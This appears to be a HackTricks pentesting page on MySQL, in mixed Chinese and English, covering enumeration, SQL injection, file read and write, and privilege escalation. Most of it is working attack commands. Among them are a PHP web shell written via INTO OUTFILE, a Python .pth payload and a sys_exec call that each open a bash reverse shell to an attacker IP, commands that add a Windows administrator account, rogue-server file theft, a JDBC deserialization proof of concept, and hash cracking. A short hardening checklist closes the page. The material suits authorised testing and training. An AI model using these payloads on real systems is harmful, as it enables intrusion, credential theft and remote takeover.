3306 - Pentesting Mysql

Reading time: 21 minutes

基本信息

MySQL 可以被描述为一个开源的 Relational Database Management System (RDBMS)，可免费使用。它使用 Structured Query Language (SQL)，用于数据库的管理和操作。

默认端口: 3306

3306/tcp open  mysql

连接

本地

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

远程

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

外部枚举

某些枚举操作需要有效凭据

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

写入任意二进制数据

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL 命令

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL 权限枚举

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

你可以在文档中查看每个权限的含义： https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

MySQL File priv to SSRF/RCE

INTO OUTFILE → Python .pth RCE (site.py 特定的配置钩子)

滥用经典的 INTO OUTFILE 原语，可以在以后运行 Python 脚本的目标上获得 arbitrary code execution。

1. 使用 INTO OUTFILE 将自定义 .pth 文件写入 site.py 自动加载的任意目录（例如 .../lib/python3.10/site-packages/）。
2. .pth 文件可以包含 单行，以 import 开头，后面跟任意 Python 代码，该代码会在解释器每次启动时执行。
3. 当解释器被 CGI 脚本隐式执行时（例如有 shebang #!/bin/python 的 /cgi-bin/ml-draw.py），payload 会以与 web-server 进程相同的权限执行（FortiWeb 将其作为 root 运行 → 完整的 pre-auth RCE）。

示例 .pth payload（单行，最终的 SQL payload 中不能包含空格，因此可能需要使用 hex/UNHEX() 或字符串拼接）：

import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)

通过一个 UNION 查询制作文件的示例（将空格字符替换为 /**/，以绕过 sscanf("%128s") 的空格过滤并保持总长度 ≤128 字节）：

'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'

重要限制与绕过：

• INTO OUTFILE 无法覆盖 已存在的文件；请选择新的文件名。
• 文件路径是按 relative to MySQL’s CWD 解析的，因此在前面加上 ../../ 可以缩短路径并绕过绝对路径限制。
• 如果攻击者输入是通过 %128s（或类似方式）提取的，任何空格都会截断载荷；使用 MySQL 注释序列 /**/ 或 /*!*/ 来替代空格。
• 执行查询的 MySQL 用户需要 FILE 权限，但在许多设备（例如 FortiWeb）中，服务以 root 身份运行，从而几乎在任意位置都有写入权限。

写入 .pth 后，只需请求任何由 python 解释器处理的 CGI 即可获得代码执行：

GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>

Python 进程会自动导入恶意 .pth 并执行 shell payload。

# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)

MySQL arbitrary read file by client

实际上，当你尝试 load data local into a table 将 文件的内容 导入表时，MySQL 或 MariaDB 服务器会要求 客户端读取该文件 并发送内容。因此，如果你能篡改一个 mysql client 使其连接到你自己的 MySQL 服务器，就可以读取任意文件。
请注意，这是在使用以下方式时的行为：

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(注意 "local" 这个词)\ 因为没有 "local" 你可能会得到：

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

初始 PoC: https://github.com/allyshka/Rogue-MySql-Server
在这篇论文中你可以看到对该攻击的完整描述，甚至如何将其扩展为 RCE： https://paper.seebug.org/1113/
这里可以找到该攻击的概述： http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

POST

Mysql 用户

如果 mysql 以 root 身份运行，会非常有趣：

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

mysqld.cnf 的危险设置

在 MySQL 服务的配置中，使用了多种设置来定义其运行和安全措施：

• user 设置用于指定运行 MySQL 服务的用户。
• password 用于为 MySQL 用户设置密码。
• admin_address 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。
• debug 变量表示当前的调试配置，可能在日志中包含敏感信息。
• sql_warnings 控制当出现警告时是否为单行 INSERT 语句生成信息字符串，这可能会在日志中包含敏感数据。
• secure_file_priv 用于限制数据导入导出的范围以增强安全性。

权限提升

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Privilege Escalation via library

如果 mysql server 正以 root（或以其他更高权限的用户）运行，你可以让它执行命令。为此，你需要使用 user defined functions。要创建 user defined functions，你需要为运行 mysql 的 OS 提供一个 library。

要使用的恶意 library 可以在 sqlmap 和 metasploit 中找到，方法是执行 locate "*lib_mysqludf_sys*"。.so 文件是 linux libraries，.dll 则是 Windows 的，选择你需要的那个。

如果你 don't have 这些 libraries，你可以尝试去 look for them，或者下载这个 linux C code 并在易受攻击的 linux 机器上 compile it inside the linux vulnerable machine：

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

现在你已经有了该库，以特权用户（root?）登录到 Mysql 并按照以下步骤操作：

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Windows 提示：通过 SQL 使用 NTFS ADS 创建目录

在 NTFS 上，即使只有文件写入原语，也可以利用 alternate data stream 强制创建目录。如果经典的 UDF 链期望 plugin 目录存在，但该目录不存在且 @@plugin_dir 未知或被锁定，你可以先使用 ::$INDEX_ALLOCATION 创建它：

SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory

这会通过引导用于 UDF drops 的文件夹结构，将有限的 SELECT ... INTO OUTFILE 转变为在 Windows 堆栈上更完整的原语。

从文件中提取 MySQL 凭据

在 /etc/mysql/debian.cnf 中可以找到用户 debian-sys-maint 的 明文密码。

cat /etc/mysql/debian.cnf

你可以 使用这些凭据登录 mysql 数据库。

Inside the file: /var/lib/mysql/mysql/user.MYD you can find 所有 MySQL 用户的 hashes（这些可以从 mysql.user（数据库中）提取）.

你可以通过以下方式提取它们：

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

启用日志记录

你可以在 /etc/mysql/my.cnf 中通过取消注释以下行来启用 mysql 查询的日志记录：

有用的文件

Configuration Files

• windows *
• config.ini
• my.ini
• windows\my.ini
• winnt\my.ini
• <InstDir>/mysql/data/
• unix
• my.cnf
• /etc/my.cnf
• /etc/mysql/my.cnf
• /var/lib/mysql/my.cnf
• ~/.my.cnf
• /etc/my.cnf
• Command History
• ~/.mysql.history
• Log Files
• connections.log
• update.log
• common.log

默认 MySQL 数据库/表

HackTricks 自动命令

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

2023-2025 亮点（新）

JDBC propertiesTransform 反序列化 (CVE-2023-21971)

从 Connector/J <= 8.0.32 起，攻击者如果能够影响 JDBC URL（例如在要求提供连接字符串的第三方软件中），可以通过 propertiesTransform 参数在client端请求加载任意类。如果 class-path 上存在可加载的 gadget，这将导致 remote code execution in the context of the JDBC client（pre-auth，因为不需要有效凭据）。一个最小的 PoC 如下：

jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil

Running Evil.class can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 – upgrade the driver or explicitly set propertiesTransform on an allow-list. (详见 Snyk 报告)

恶意/伪造 MySQL 服务器对 JDBC 客户端的攻击

Several open-source tools implement a partial MySQL protocol in order to attack JDBC clients that connect outwards:

• mysql-fake-server (Java, supports file read and deserialization exploits)
• rogue_mysql_server (Python, similar capabilities)

典型攻击路径：

1. 受害应用加载 mysql-connector-j 并设置 allowLoadLocalInfile=true 或 autoDeserialize=true。
2. 攻击者控制 DNS / host 条目，使数据库的主机名解析到受其控制的机器。
3. 恶意服务器以精心构造的数据包响应，触发 LOCAL INFILE 任意文件读取或 Java deserialization → RCE。

Example one-liner to start a fake server (Java):

java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server

然后将受害应用指向 jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true，并通过在 用户名 字段中将文件名编码为 base64 来读取 /etc/passwd（fileread_/etc/passwd → base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=）。

破解 caching_sha2_password 哈希

MySQL ≥ 8.0 将密码哈希存储为 $mysql-sha2$（SHA-256）。自 2023 年起，Hashcat（mode 21100）和 John-the-Ripper（--format=mysql-sha2）都支持离线破解。导出 authentication_string 列并直接喂给它：

# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist

硬化检查清单 (2025)

• 将 LOCAL_INFILE=0 和 --secure-file-priv=/var/empty 设置为以阻止大多数文件读/写原语。
• 从应用程序账户中移除 FILE 权限。
• 在 Connector/J 上将 allowLoadLocalInfile=false、allowUrlInLocalInfile=false、autoDeserialize=false、propertiesTransform=（留空）。
• 禁用未使用的认证插件并要求 TLS (require_secure_transport = ON)。
• 监控 CREATE FUNCTION、INSTALL COMPONENT、INTO OUTFILE、LOAD DATA LOCAL 以及突发的 SET GLOBAL 语句。

参考资料

• Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)

• Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)

• mysql-fake-server – Rogue MySQL server for JDBC client attacks

• The Art of PHP: CTF‑born exploits and techniques

• Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)